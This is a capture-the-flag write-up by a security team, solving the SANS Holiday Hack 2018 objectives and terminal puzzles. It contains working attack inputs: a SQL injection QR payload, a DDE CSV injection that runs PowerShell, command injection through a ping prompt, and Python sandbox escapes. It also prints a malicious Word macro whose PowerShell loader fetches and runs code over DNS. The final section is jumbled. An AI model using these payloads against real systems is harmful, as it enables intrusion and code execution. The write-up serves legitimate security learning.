SANS Holiday Hack 2018 Writeup
Every year during the holiday season, SANS publishes their annual Holiday Hack Challenge. These challenges are a great way to learn new and useful exploitation techniques to solve fun puzzles.
The Duo Labs team always enjoys participating in the Holiday Hack Challenge, and have written about our solutions in the past. The challenges have been very polished, and this year is no exception.
As always, we first want to extend our thanks to Ed Skoudis and the SANS team for always putting together a thorough, fun challenge that never fails to teach something new.
This year’s Holiday Hack Challenge revolved around a virtual security conference called KringleCon hosted in the North Pole by Santa himself. As part of the conference, we’re asked to solve 10 technical objectives as well as mini-challenges in the form of a “Cranberry Pi” terminal.
For this writeup, we’ll focus on the solutions to the objectives first, followed by the Cranberry Pi solutions.
Objectives
Objective 1: Orientation Challenge
What phrase is revealed when you answer all of the questions at the KringleCon Holiday Hack History kiosk inside the castle?
Visiting the kiosk gives six questions about previous challenges. The answers were:
1. In 2015, the Dosis siblings asked for help understanding what piece of their "Gnome in Your Home" toy?
a) Answer: Firmware
2. In 2015, the Dosis siblings disassembled the conspiracy dreamt up by which corporation?
a) Answer: ATNAS
3. In 2016, participants were sent off on a problem-solving quest based on what artifact that Santa left?
a) Answer: Business Card
4. In 2016, Linux terminals at the North Pole could be accessed with what kind of computer?
a) Answer: Cranberry Pi
5. In 2017, the North Pole was being bombarded by giant objects. What were they?
a) Answer: Snowballs
6. In 2017, Sam the snowman needed help reassembling pages torn from what?
a) Answer: The Great Book
Objective 2: Directory Browsing
Who submitted (First Last) the rejected talk titled Data Loss for Rainbow Teams: A Path in the Darkness? Please analyze the CFP site to find out.
The CFP site contains a single link encouraging us to apply to the KringleCon CFP:

The “Apply Now!” button contains a link to https://cfp.kringlecastle.com/cfp/cfp.html. Removing the “cfp.html” shows that directory indexing is enabled, revealing the file “rejected-talks.csv”:

Opening the file and searching for the talk title “Data Loss for Rainbow Teams: A Path in the Darkness” reveals it was submitted by John McClane.

Objective 3: de Bruijn Sequences
When you break into the speaker unpreparedness room, what does Morcel Nougat say?
The speaker unpreparedness room was protected by a combination lock:

As the objective title suggests, we can use a de Bruijn sequence to generate a set of codes that will enumerate all possible combinations.
To solve the challenge, I first used an online generator to create the de Bruijn sequence. I’m lazy, so instead of entering the combination manually, I wrote a script to do it for me, which quickly found the correct code:
Trying code: 1001
Trying code: 0012
Trying code: 0120
Found the code: 0120
Inside the speaker unpreparedness room, Morcel Nougat says “Welcome unprepared speaker!”
Objective 4: Data Repo Analysis
Retrieve the encrypted ZIP file from the North Pole Git repository. What is the password to open this file?
We cloned the repository using:
git clone https://git.kringlecastle.com/Upatree/santas_castle_automation.git
Viewing the previous changes in the Git history using git log -p
reveals this diff:
commit 7f46bd5f88d0d5ac9f68ef50bebb7c52cfa67442
Author: Shinny Upatree shinny.upatree@kringlecastle.com
Date: Tue Dec 11 08:25:45 2018 +0000
removing file
diff --git a/schematics/for_elf_eyes_only.md b/schematics/for_elf_eyes_only.md
deleted file mode 100644
index b06a507..0000000
--- a/schematics/for_elf_eyes_only.md
+++ /dev/null
@@ -1,15 +0,0 @@
-Our Lead InfoSec Engineer Bushy Evergreen has been noticing an increase of brute force attacks in our logs. Furthermore, Albaster discovered and published a vulnerability with our password length at the
last Hacker Conference.
-Bushy directed our elves to change the password used to lock down our sensitive files to something stronger. Good thing he caught it before those dastardly villians did!
-Hopefully this is the last time we have to change our password again until next Christmas.
-Password = 'Yippee-ki-yay'
-Change ID = '9ed54617547cfca783e0f81f8dc5c927e3d1e3'
The password included in the diff is the answer to the challenge: “Yippee-ki-yay.” This password is also used to extract the contents of the file “ventilation_diagram.zip” included in the repository. This gives maps that are used to solve the ventilation maze mini-challenge.
Objective 5: AD Privilege Discovery
Using the data set contained in this SANS Slingshot Linux image, find a reliable path from a Kerberoastable user to the Domain Admins group. What’s the user’s logon name? Remember to avoid RDP as a control path as it depends on separate local privilege escalation flaws.
The VM contains an installation of Bloodhound, which is a fantastic tool used to find paths to Domain Admin. One of the features of Bloodhound is the ability to query for the shortest paths to Domain Admins from Kerberoastable users:

Running this query gives us a graph that looks like this:

We’re told to avoid RDP as a control path. The only path that does not use RDP is the one towards the middle of the graph, where LDUBEJ00320@AD.KRINGLECASTLE.COM is an admin to a computer which has a domain admin session. That’s the answer to this objective.
Objective 6: Badge Manipulation
Bypass the authentication mechanism associated with the room near Pepper Minstix. A sample employee badge is available. What is the access control number revealed by the door authentication panel?
For this objective, we’re given a disabled badge for Alabaster Snowball which contains a QR code:

The QR code encodes a random string of characters. As part of the hint, we’re told that the QR code reader may have a SQL injection vulnerability, which suggests that we need to create a fake QR code containing our SQLi payload.
To make this easier, I used the qrcode
Python library. To start, I created a QR code with a single quote:
$ qr “‘“ > test.png
This returned a SQL error, indicating the endpoint is vulnerable to SQL injection:
{"data":"EXCEPTION AT (LINE 96 "user_info = query("SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '{}' LIMIT 1".format(uid))"): (1064, u"You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '''' LIMIT 1' at line 1")","request":false}
To solve the challenge, I created a QR code with an always true boolean, ensuring the account is enabled:
qr "' OR '1'='1' AND enabled = 1 LIMIT 1#" > badge.png
Uploading this QR code exploits the vulnerability, giving us the access code:

Objective 7: HR Incident Response
Santa uses an Elf Resources website to look for talented information security professionals. Gain access to the website and fetch the document C:\candidate_evaluation.docx. Which terrorist organization is secretly supported by the job applicant whose name begins with "K."
This challenge allows us to upload a CSV, suggesting that we should use DDE injection. I first tried downloading and executing a reverse shell using Powershell Empire, but I couldn’t get it to work. As a fallback, I noticed when visiting a random URL that the site displayed the full path to the uploads directory:

This suggests that maybe we can copy the file to the publicly accessible folder and download it from there. To make a copy of the file, I created a CSV with the following:
=cmd|'/c powershell.exe -W Hidden Copy-Item "C:\candidate_evaluation.docx" "C:\careerportal\resources\public\randomfilename.docx";'!A1
Uploading this and then requesting https://careers.kringlecastle.com/public/randomfilename.docx gave us the file with the flag:

Objective 8: Network Traffic Forensics
Santa has introduced a web-based packet capture and analysis tool at https://packalyzer.kringlecastle.com to support the elves and their information security work. Using the system, access and decrypt HTTP/2 network activity. What is the name of the song described in the document sent from Holly Evergreen to Alabaster Snowball?
This one was tricky! After solving a Cranberry Pi challenge, an elf suggests that the HTML tells us where the server-side code is. After creating an account and logging in, this comment is found in the page:

We can download app.js from /pub/app.js, revealing portions of the code.
Our goal is to decrypt HTTP/2 traffic, so we want to look for the private keys used by the server. Looking through the code, it appears that there’s a keylog
file which claims to be used to view traffic:

To get the keylog
file, we need to determine the values for the DEV
and SSLKEYLOGFILE
environment variables. Looking further in the code, we see that the environment variables are populated into an env_dirs
variable (remember: we previously saw that dev_mode
is enabled).

The variable env_dirs
is used to set up and serve routes, with an error handler in case things go wrong:

This means that if we craft URLs in the form of /[environment_variable]/filename
, the value of the environment variable will be retrieved and used when serving the file. We can see this happening if we try the URL /SSLKEYLOGFILE/bogusfile
:

The error is thrown since the file doesn’t exist, revealing the value of the environment variable! We can do the same thing for the DEV
environment variable, revealing that the value is “dev”.
Putting these together, we can retrieve our keylog file from /dev/packalyzer_clientrandom_ssl.log
:

We then used the site to take a PCAP containing the HTTP/2 traffic. Importing these keys into Wireshark decrypts the traffic, revealing credentials submitted for Alabaster Snowball:

Logging into the site using these credentials allows us to download a “super_secret_packet_capture.pcap” file:

Opening the PCAP reveals a single SMTP connection containing an email from Holly Evergreen to Alabaster:

The email contains an attachment encoded as base64. Decoding the contents gives us a PDF file describing how to transpose music, using “Mary Had a Little Lamb” as the example (which is also the solution to the objective):

Objective 9: Ransomware Recovery
Alabaster Snowball is in dire need of your help. Santa's file server has been hit with malware. Help Alabaster Snowball deal with the malware on Santa's server by completing several tasks.
Using the access code from Objective 6 to get access to the back room, we’re given multiple challenges emulating a ransomware response.
H4 - Objective 9.1: Catch the Malware
Assist Alabaster by building a Snort filter to identify the malware plaguing Santa's Castle.
For this challenge, we’re given access to an IDS sensor and asked to write a Snort rule that matches only bad DNS traffic. We started by using tshark
to see what DNS traffic we’ve logged:
elf@cb35571ec7af:~$ tshark -r snort.log.pcap -e dns.qry.name -T fields
lobbyists.frays.preoffering.baidu.com
lobbyists.frays.preoffering.baidu.com
77616E6E61636F6F6B69652E6D696E2E707331.nrbasruehg.net
77616E6E61636F6F6B69652E6D696E2E707331.nrbasruehg.net
77616E6E61636F6F6B69652E6D696E2E707331.nrhusabegr.com
77616E6E61636F6F6B69652E6D696E2E707331.nrhusabegr.com
0.77616E6E61636F6F6B69652E6D696E2E707331.nrhusabegr.com
0.77616E6E61636F6F6B69652E6D696E2E707331.nrhusabegr.com
0.77616E6E61636F6F6B69652E6D696E2E707331.nrbasruehg.net
0.77616E6E61636F6F6B69652E6D696E2E707331.nrbasruehg.net
frays.360.cn
frays.360.cn
1.77616E6E61636F6F6B69652E6D696E2E707331.nrbasruehg.net
1.77616E6E61636F6F6B69652E6D696E2E707331.nrbasruehg.net
1.77616E6E61636F6F6B69652E6D696E2E707331.nrhusabegr.com
1.77616E6E61636F6F6B69652E6D696E2E707331.nrhusabegr.com
We see a number of DNS requests that appear to have the pattern [sequence number].[38 character random hex string].[domain]
. Here are Snort rules that catch outbound DNS requests and inbound DNS responses for this pattern:
alert udp any any -> any 53 ( msg:"Ransomware"; pcre:"/[0-9A-F]{38}/"; sid:12345; )
alert udp any 53 -> any any ( msg:"Ransomware"; pcre:"/[0-9A-F]{38}/"; sid:12346; )
Saving the rules in /etc/snort/rules/local.rules
solves the objective:

H4 - Objective 9.2: Identify the Domain
Using the Word docm file, identify the domain name that the malware communicates with.
After solving this problem, talking to Alabaster gives us the macro-enabled doc. We can use oledump.py to get the OLE streams:
~ $ python oledump.py /malware/CHOCOLATE_CHIP_COOKIE_RECIPE.docm
A: word/vbaProject.bin
A1: 468 'PROJECT'
A2: 95 'PROJECTwm'
A3: M 2251 'VBA/Module1'
A4: M 2400 'VBA/NewMacros'
A5: m 924 'VBA/ThisDocument'
A6: 2641 'VBA/_VBA_PROJECT'
A7: 620 'VBA/dir'
This tells us that stream A3 has a VBA macro. Dumping the variable provides the payload:
~ $ python oledump.py -s A3 -v /malware/CHOCOLATE_CHIP_COOKIE_RECIPE.docm
Attribute VB_Name = "Module1"
Private Sub Document_Open()
Dim cmd As String
cmd = "powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C ""sal a New-Object; iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"" "
Shell cmd
End Sub
This is a typical macro that launches Powershell. To get the next step in the payload, we need to base64-decode the contents, and then decompress them using the deflate algorithm.
To let Powershell do the hard work for us, we changed the call to iex
to instead pipe the output to Out-File
. This essentially tells Powershell to dump out the command to a file instead of running it.
This gives us the (roughly formatted) following payload:
function H2A($a) {
$o; $a -split '(..)' | ? { $_ } | forEach {char} | forEach {$o = $o + $
_}; return $o
};
$f = "77616E6E61636F6F6B69652E6D696E2E707331";
$h = "";
foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)) {
$h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings
};
iex($(H2A $h | Out-string))
This mimics what we saw in the original PCAP - a series of DNS requests in the format of sequence_number.77616E6E61636F6F6B69652E6D696E2E707331.erohetfanu[.]com. Essentially, the payload to execute is retrieved via a series of DNS TXT requests.
The answer to the objective is the domain erohetfanu[.]com (without the brackets).
H4 - Objective 9.3: Stop the Malware
Identify a way to stop the malware in its tracks!
We can use the same iex
-> Out-File
treatment on the previous function to get the final payload, which you can find here.
The payload looks to mimic WannaCry, containing various encryption routines. Our job is to find a way to kill the malware, aka a “killswitch.” Since this is a clone of WannaCry, it’s likely that we’ll need to find a check in the code for a domain that isn’t registered and register it using their system.
Following the advice from the “Analyzing Powershell Malware” KringleCon talk, we fired up Powershell ISE and set a breakpoint above what appeared to be a check for a domain that would cause the malware to shutdown. We added a line above to print out the domain being checked, resulting in the domain being printed to the terminal:

Registering this domain solved the challenge:

H4 - Objective 9.4: Recover Alabaster's Password
Recover Alabaster's password as found in the the encrypted password vault.
The last step is to decrypt the encrypted password database. This was another really tricky one! To start the challenge, we’re given the encrypted database as well as a memory dump that was taken while the malware was running.
Looking through the final Powershell payload we decoded in the previous objective, we see that this malware works by generating a unique, random symmetric key and encrypting it using a certificate containing a public key which is retrieved from DNS. In our memory dump, we won’t have the original symmetric key, since it was cleared. Instead, we have the encrypted version of the key stored in the variable $p_k_e_k
. Our goal will be to obtain the master private key so that we can decrypt our symmetric key, which we can then use to decrypt the password database.
Studying the payload, we notice that one call to the function g_o_dns
used “A2H source.min.html” as the argument, which would convert “source.min.html” to hex and make the request via DNS. The other call was to get the certificate, and the argument was “7365727665722E637274”, which looked like it might be valid ASCII.
Sure enough, decoding the value into ASCII gives us the filename requested:
'7365727665722E637274'.decode('hex')
server.crt
Normally, keys are created as “server.crt” and “server.key”. Encoding “server.key” into hex and making the DNS requests returned the private key:
PS> $(g_o_dns((A2H "server.key")))
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDEiNzZVUbXCbMG
L4sM2UtilR4seEZli2CMoDJ73qHql+tSpwtK9y4L6znLDLWSA6uvH+lmHhhep9ui
W3vvHYCq+Ma5EljBrvwQy0e2Cr/qeNBrdMtQs9KkxMJAz0fRJYXvtWANFJF5A+Nq
jI+jdMVtL8+PVOGWp1PA8DSW7i+9eLkqPbNDxCfFhAGGlHEU+cH0CTob0SB5Hk0S
TPUKKJVc3fsD8/t60yJThCw4GKkRwG8vqcQCgAGVQeLNYJMEFv0+WHAt2WxjWTu3
HnAfMPsiEnk/y12SwHOCtaNjFR8Gt512D7idFVW4p5sT0mrrMiYJ+7x6VeMIkrw4
tk/1ZlYNAgMBAAECggEAHdIGcJOX5Bj8qPudxZ1S6uplYan+RHoZdDz6bAEj4Eyc
0DW4aO+IdRaD9mM/SaB09GWLLIt0dyhRExl+fJGlbEvDG2HFRd4fMQ0nHGAVLqaW
Now that we have the private key, we just need to find the encrypted symmetric key used to encrypt Alabaster’s password database. We can execute the malware in a VM, setting a breakpoint to dump out what a sample $p_k_e_k
looks like, which gives us the following:
Hit Line breakpoint on 'C:\Users\vm_user\Desktop\wannacookie.ps1:220'
[DBG]: PS C:\Windows\system32>> $p_k_e_k
a194f883ed6f6f7565b24eed97050f63c413dd14a4d753d80a054aade07e94e33070c3b6e32b65df0ed949be624892b167d7ba398639ce32e7f7d
00ad7835cd3fe7bb951cffbaaf2dd5cd837b8f893378d4e5c4757cec56358d94e2f9a69b7d1d535239061e5dc166e8343b90d1a16f8f1c2bbf1f9
22163c40399798308a82fe3c4938b9588dcf83ae6d7155dde8775655a6a326cd44323a71252f590c834f2c7e786928455998a3057d285326f39db
2104b992aa0347abf04fbe55bb57e5476ff459c1cf4b459ebf33f3cd9c3e67ac3d772cc1b72da48902b665aa5c2364140a92611de5e9d17ebb5a5
7790d5ad72882a32e714d02229f1dce1e0aec1e24219
Seeing that the key is 512 bytes, we can search the provided memory dump for other 512 character variables to find the $p_k_e_k
used when Alabaster’s password database was being encrypted, revealing:
: len == 512
================ Filters ================
1| LENGTH len(variable_values) == 512
[i] 1 powershell Variable Values found!
3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc44b8464dca05680d531b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2df2f401c2a09fbe24c5833d2c5861139c4b4d3147abb55e671d0cac709d1cfe86860b6417bf019789950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b379be44029ca4321e60407d44e6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c00100b94861678ea16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7d47681a77152563906a2c29c6d12f971
We want to decrypt this key using our obtained private key. To do this, I converted the encrypted key into raw bytes:
xxd -r -p encrypted_key.hex > encrypted_key
Then, I used OpenSSL to decrypt the key:
openssl rsautl -decrypt -inkey server.key -in encrypted_key -oaep
Note: This took me forever to figure out since I didn’t realize Powershell used OAEP padding when doing RSA operations. By default, OpenSSL uses PKCS#1 v1.5 padding.
With the key in-hand, I made a Powershell script that took pieces from the original malware to decrypt the password database. You can find the script here.
This gives us an SQLite database that we can open, revealing the password to the vault!

Objective 10: Who Is Behind It All?
Who was the mastermind behind the whole KringleCon plan? And, in your emailed answers please explain that plan.
For the last challenge, we need to unlock the Piano Lock. The chords we found in the password vault don’t work, with the message claiming it’s off-key.
The idea here is to use the information from the PDF we found earlier to figure out how to transpose the notes by hand. But you’ll recall that I’m lazy, so I wrote a script using the pychord
module to transpose the chords in various steps. It turns out that the answer is that we need to go back a whole step, so the final combination is: DC#DC#DDC#DEF#EF#GAG#AG#A.
In the secret room, we discover that Santa was behind the entire challenge, since he wanted to recruit new people to join the North Pole’s security team.
Cranberry Pi
Essential Editor Skills

To solve this challenge, we need to exit the editor using :q
. Easy enough!
The Name Game

For this Cranberry Pi, we’re asked to find the first name of an employee with the last name of “Chan.”
Using the “verify the system” command, we can see that a call to ping is being executed, and we see hints that a database called “onboard.db” is available:
Enter address of server: example.com
ping: unknown host example.com
onboard.db: SQLite 3.x database
We can inject commands by terminating the ping command using a semicolon. We can start by listing the contents of the directory which confirms the existence of “onboard.db”:
Enter address of server: ; ls
Usage: ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface]
[-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos]
[-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option]
[-w deadline] [-W timeout] [hop1 ...] destination
menu.ps1 onboard.db runtoanswer
onboard.db: SQLite 3.x database
We dumped the contents of “onboard.db” using the .dump
SQLite command, filtering the content with grep
to find the user with the last name “Chan”:
Enter address of server: ; sqlite3 onboard.db .dump | grep Chan
Usage: ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface]
[-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos]
[-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option]
[-w deadline] [-W timeout] [hop1 ...] destination
INSERT INTO "onboard" VALUES(84,'Scott','Chan','48 Colorado Way',NULL,'Los Angeles','90067',
'4017533509','scottmchan90067@gmail.com');
onboard.db: SQLite 3.x database
We used the same technique to launch runtoanswer
to submit the answer:
Enter address of server: ; ./runtoanswer
Usage: ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface]
[-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos]
[-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option]
[-w deadline] [-W timeout] [hop1 ...] destination
Loading, please wait......
Enter Mr. Chan's first name: Scott
CURLing Master

Looking in /etc/nginx/nginx.conf
, we see that HTTP2 is enabled:
love using the new stuff! -Bushy
listen 8080 http2;
To make a successful connection, we need to pass the --http2-prior-knowledge to curl:
elf@c63d66fe3f31:~$ curl --http2-prior-knowledge localhost:8080
To turn the machine on, simply POST to this URL with parameter "status=on"
We are told that we need to send a POST request with a status
argument set, so we’ll do it using the same curl technique:
$ curl --http2-prior-knowledge localhost:8080 -XPOST -d "status=on"
To turn the machine on, simply POST to this URL with parameter "status=on"
This solved the challenge! This challenge asks us to win a fake lottery provided by a binary, “sleighbell-lotto.” This is very similar to the “Wumpus” terminal challenge from the 2016 Holiday Hack challenge, so we approached it the same way. The first step is to load the binary in GDB, disassembling the elf@e072ce7764b7:~$ gdb sleighbell-lotto (gdb) set disassembly-flavor intel (gdb) disassemble main Dump of assembler code for function main: 0x00000000000014ca <+0>: push rbp 0x00000000000014cb <+1>: mov rbp,rsp 0x00000000000014ce <+4>: sub rsp,0x10 0x00000000000014d2 <+8>: lea rdi,[rip+0x56d6] # 0x6baf 0x0000000000001582 <+184>: cmp DWORD PTR [rbp-0x4],0x4c9 0x0000000000001589 <+191>: jne 0x1597 <main+205> 0x000000000000158b <+193>: mov eax,0x0 0x0000000000001590 <+198>: call 0xfd7 0x0000000000001595 <+203>: jmp 0x15a1 <main+215> 0x0000000000001597 <+205>: mov eax,0x0 0x000000000000159c <+210>: call 0x14b7 0x00000000000015a1 <+215>: mov edi,0x0 0x00000000000015a6 <+220>: call 0x920 exit@plt End of assembler dump. It looks like we’ll want to jump to the (gdb) break main Breakpoint 1 at 0x14ce (gdb) run Starting program: /home/elf/sleighbell-lotto [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Breakpoint 1, 0x00005555555554ce in main () (gdb) jmp winnerwinner Undefined command: "jmp". Try "help". (gdb) jump winnerwinner Continuing at 0x555555554fdb. Congratulations! You've won, and have successfully completed this challenge. This terminal is nearly identical to objective 4 earlier. We used the same diff --git a/server/config/config.js b/server/config/config.js deleted file mode 100644 index 25be269..0000000 --- a/server/config/config.js +++ /dev/null @@ -1,4 +0,0 @@ -// Database URL -module.exports = { url' : 'mongodb://sredberry:twinkletwinkletwinkle@127.0.0.1:27017/node-api
-}; diff --git a/server/config/config.js.def b/server/config/config.js.def new file mode 100644 index 0000000..740eba5 --- /dev/null +++ b/server/config/config.js.def @@ -0,0 +1,4 @@ +// Database URL +module.exports = { +}; For this challenge, we’re given a hint that there are automated tasks being executed on the system which may contain credentials. Listing the running processes reveals the password: $ ps aux | less root 11 0.0 0.0 49532 3284 pts/0 S 04:49 0:00 sudo -u manager /home/manag er/samba-wrapper.sh --verbosity=none --no-check-certificate --extraneous-command-argument -- do-not-run-as-tyler --accept-sage-advice -a 42 -d~ --ignore-sw-holiday-special --suppress -- suppress //localhost/report-upload/ directreindeerflatterystable -U report-upload In this command, we’re given the user, “report-upload” and the password “directreindeerflatterystable.” We used these credentials to upload the report: elf@d16ab90ad95b:~$ smbclient -U report-upload //localhost/report-upload -c 'put report.txt' For this challenge, we need to escape out of a Python sandbox. The dir() ['builtins', 'cached', 'doc', 'file', 'loader', 'name', 'package , 'spec', 'banner', 'code', 'readfilter', 'readline', 'restricted_terms', 'whitelist In this case, we see a module, help(code) Help on module code: NAME code - Utilities needed to emulate Python's interactive interpreter. … We can call code.interact() Python 3.5.2 (default, Nov 12 2018, 13:43:14) [GCC 5.4.0 20160609] on linux Type "help", "copyright", "credits" or "license" for more information. (InteractiveConsole) import subprocess subprocess.call("./i_escaped") We could also solve this challenge a different way, since the subprocess = eval('im' + 'port("subprocess")') subprocess <module 'subprocess' from '/usr/lib/python3.5/subprocess.py'> eval('subprocess' + '.call("./i_escaped")') Looking at the files in the directory, we see .viminfo which is used to help Vim remember what edits had been done: $ ls -alh total 5.4M drwxr-xr-x 1 elf elf 4.0K Dec 14 16:28 . drwxr-xr-x 1 root root 4.0K Dec 14 16:28 .. -rw-r--r-- 1 elf elf 419 Dec 14 16:13 .bash_history -rw-r--r-- 1 elf elf 220 May 15 2017 .bash_logout -rw-r--r-- 1 elf elf 3.5K Dec 14 16:28 .bashrc -rw-r--r-- 1 elf elf 675 May 15 2017 .profile drwxr-xr-x 1 elf elf 4.0K Dec 14 16:28 .secrets -rw-r--r-- 1 elf elf 5.0K Dec 14 16:13 .viminfo -rwxr-xr-x 1 elf elf 5.3M Dec 14 16:13 runtoanswer Searching through .viminfo shows “Elinore” being replaced, which is the answer to the challenge. elf@40d1ad20a995:~$ cat .viminfo ~MSle0~&Elinore $NEVERMORE :wq |2,0,1536607231,,"wq" :%s/Elinore/NEVERMORE/g |2,0,1536607217,,"%s/Elinore/NEVERMORE/g" ? Elinore |2,1,1536607217,,"Elinore" For this challenge, we’re asked to search through Windows event logs looking for a successful login from a malicious attacker. We started by using the elf@c28b4404947c:~$ python evtx_dump.py ho-ho-no.evtx > ho-ho-no.xml elf@48d61bd0ea42:~$ grep "EventID Qualifier" ho-ho-no.xml | sort | uniq -c | sort -nr 756 212 109 108 45 34 10 2 2 2 2 1 1 1 1 1 1 Looking through the events, event ID 4625 stands out since that’s the Windows login denied error code. Filtering for those entries, we see a bunch of failed login attempts from the same IP for different usernames, which is indicative of credential spraying: 30d}"> WIN-KCON-EXCH16$ EM.KRINGLECON 0x00000000000003e7 S-1-0-0 arun.kumar EM.KRINGLECON 0xc000006d %%2313 0xc0000064 8 Advapi Negotiate WIN-KCON-EXCH16 C:\Windows\System32\inetsrv\w3wp.exe 172.31.254.101 40427 I wrote a script to search through the logs to find a successful login from this IP address, yielding this result: Username minty.candycane was broken into by 172.31.254.101The Sleighbell
main
function to see if any functions stand out:winnerwinner
function. We can set a breakpoint at main
, launch the program, and then make our jump:DevOps Fail
git log -p
approach to find the following diff, which includes deleted credentials:
Stall Mucking Report
Python Escape from LA
dir
command is a good place to start, showing us what functions are available:
code
is available, which implements RPEL’s in Python:
code.interact
, which starts a new RPEL without the restrictions, letting us execute commands:
eval
function is available to us. Using the technique from the “Escaping Python Shells” KringleCon conference talk, we split our commands into multiple strings to bypass the filtering:
Lethal ForensicELFication
Last Substitute Search Pattern:
Last Substitute String:
Command Line History (newest to oldest):
Search String History (newest to oldest):
Yule Log Analysis
evtx_dump.py
script to convert the entries to XML, making them easier to work with: